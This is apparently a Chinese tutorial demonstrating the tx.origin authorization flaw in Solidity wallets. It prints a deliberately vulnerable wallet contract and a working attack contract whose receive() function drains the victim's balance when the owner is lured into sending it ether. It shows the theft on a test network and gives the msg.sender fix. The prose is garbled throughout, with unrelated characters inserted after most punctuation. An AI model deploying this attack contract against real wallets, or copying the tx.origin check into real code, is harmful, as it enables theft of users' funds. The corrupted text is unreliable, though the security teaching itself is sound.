背景:由于公鏈環(huán)境下所有的信息都是共享的哨免,智能合約相當(dāng)于是透明的病附,任何人只需知道其地址就可以調(diào)用內(nèi)部的方法脐瑰,所以開發(fā)者在開發(fā)合約時(shí),邏輯判斷一般會(huì)添加一下權(quán)限的校驗(yàn),以提高其安全性。但是有時(shí)候?qū)ζ淞私獠簧钅唬瑫?huì)帶來一些潛在的隱藏bug。
目標(biāo):驗(yàn)證當(dāng)合約內(nèi)部使用 tx.origin 做權(quán)限校驗(yàn)時(shí)骤铃,攻擊者可以繞過邏輯約束進(jìn)行資金盜取拉岁。
對(duì)象:適用于用Solidity語言開發(fā)的智能合約,例如BSN中的武漢鏈(基于ETH)和泰安鏈(基于 fisco bcos)上運(yùn)行的智能合約劲厌。
一膛薛、環(huán)境準(zhǔn)備
- 兩個(gè)合約文件,一個(gè)為用戶錢包合約(TxUserWallet )补鼻,另一個(gè)為攻擊錢包合約(TxAttackWallet )哄啄。
- 兩個(gè)賬戶,分別為以上兩個(gè)合約的owner风范。預(yù)制為
TxUserWallet owner: 0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9
TxAttackWallet owner: 0x5adaCf91A3C4e9a7541f0dA89dC575354C075941
合約文件TxUserWallet.sol如下圖所示:
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
address owner;
event Deposit(uint256 balance);
constructor() payable {
owner = msg.sender;
}
function supplyFunds() payable public {
emit Deposit(msg.value);
}
function transferTo(address payable dest, uint amount) public {
// THE BUG IS RIGHT HERE, you must use msg.sender instead of tx.origin
require(tx.origin == owner);
dest.transfer(amount);
}
function balanceOf() public view returns(uint){
return address(this).balance;
}
function withdraw() public {
payable(owner).transfer(address(this).balance);
}
}
合約文件TxAttackWallet.sol如下圖所示:
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
interface TxUserWallet {
function transferTo(address payable dest, uint amount) external;
}
contract TxAttackWallet {
address payable owner;
TxUserWallet userWallet;
constructor(TxUserWallet userWalletAddr) {
owner = payable(msg.sender);
userWallet = userWalletAddr;
}
function balanceOf() public view returns(uint){
return address(this).balance;
}
receive() external payable {
userWallet.transferTo(owner, address(userWallet).balance);
}
}
二咨跌、合約部署
使用remix分別部署兩個(gè)合約
- 部署合約TxUserWallet的過程截圖
合約部署成功的截圖如下
- 部署合約TxAttackWallet 的過程截圖
注意:部署的時(shí)候需要將“用戶錢包合約的地址”進(jìn)行預(yù)制,用于后續(xù)攻擊時(shí)使用硼婿。
合約部署成功的截圖如下
三锌半、攻擊測(cè)試
攻擊原理為誘騙合約TxUserWallet的owner對(duì)合約TxAttackWallet進(jìn)行轉(zhuǎn)賬操作。因?yàn)榧夹g(shù)上當(dāng)合約TxAttackWallet接受ether時(shí)會(huì)觸發(fā)receive()方法寇漫,從而進(jìn)行對(duì)TxUserWallet合約進(jìn)行盜取ether刊殉。
為方便做對(duì)比,我們?cè)谵D(zhuǎn)賬操作之前先截圖一下用戶錢包合約
以及攻擊合約的owner
的賬戶余額
現(xiàn)在使用TxUserWallet 的owner賬戶對(duì)合約TxAttackWallet進(jìn)行轉(zhuǎn)賬操作州胳。即
使用賬戶0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9
向合約賬戶0xB50cF0e11aA2dA0F4f0E95841a4F1514F81015fd
轉(zhuǎn)賬0.001(金額任意)记焊。
轉(zhuǎn)賬交易記錄
https://ropsten.etherscan.io/tx/0x779ec2ef110f684fc20080f28ec840e2f11872bdd87775efef7228408ed5948d
轉(zhuǎn)賬操作成功后,我們來查看一下TxUserWallet
擁有的0.00002 Ether是否被盜取了栓撞,截圖如下
上圖可以看出余額已變?yōu)榱惚槟ぃ酉聛砜匆幌?code>TxAttackWallet的owner賬戶余額,截圖如下
上圖可以發(fā)現(xiàn)一筆0.00002 Ether轉(zhuǎn)賬記錄瓤湘,同時(shí)對(duì)比余額變動(dòng)瓢颅,至此已盜取成功。
四弛说、結(jié)論
綜上發(fā)現(xiàn)挽懦,當(dāng)我們使用tx.origin做校驗(yàn)時(shí),得到的是交易原始簽名地址而不是攻擊合約的地址剃浇,從而繞過了業(yè)務(wù)約束邏輯巾兆,將所有資金進(jìn)行了轉(zhuǎn)移操作猎物。
另外虎囚,那如何進(jìn)行修復(fù)呢角塑?只需要將tx.origin
改為msg.sender
去做校驗(yàn)即可。有興趣的可以試一下淘讥。